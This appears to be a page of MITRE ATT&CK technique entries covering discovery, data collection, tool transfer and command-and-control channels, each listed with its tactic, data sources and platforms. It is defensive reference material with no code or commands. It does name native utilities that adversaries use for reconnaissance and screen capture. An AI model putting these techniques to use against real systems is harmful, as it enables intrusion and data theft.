Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre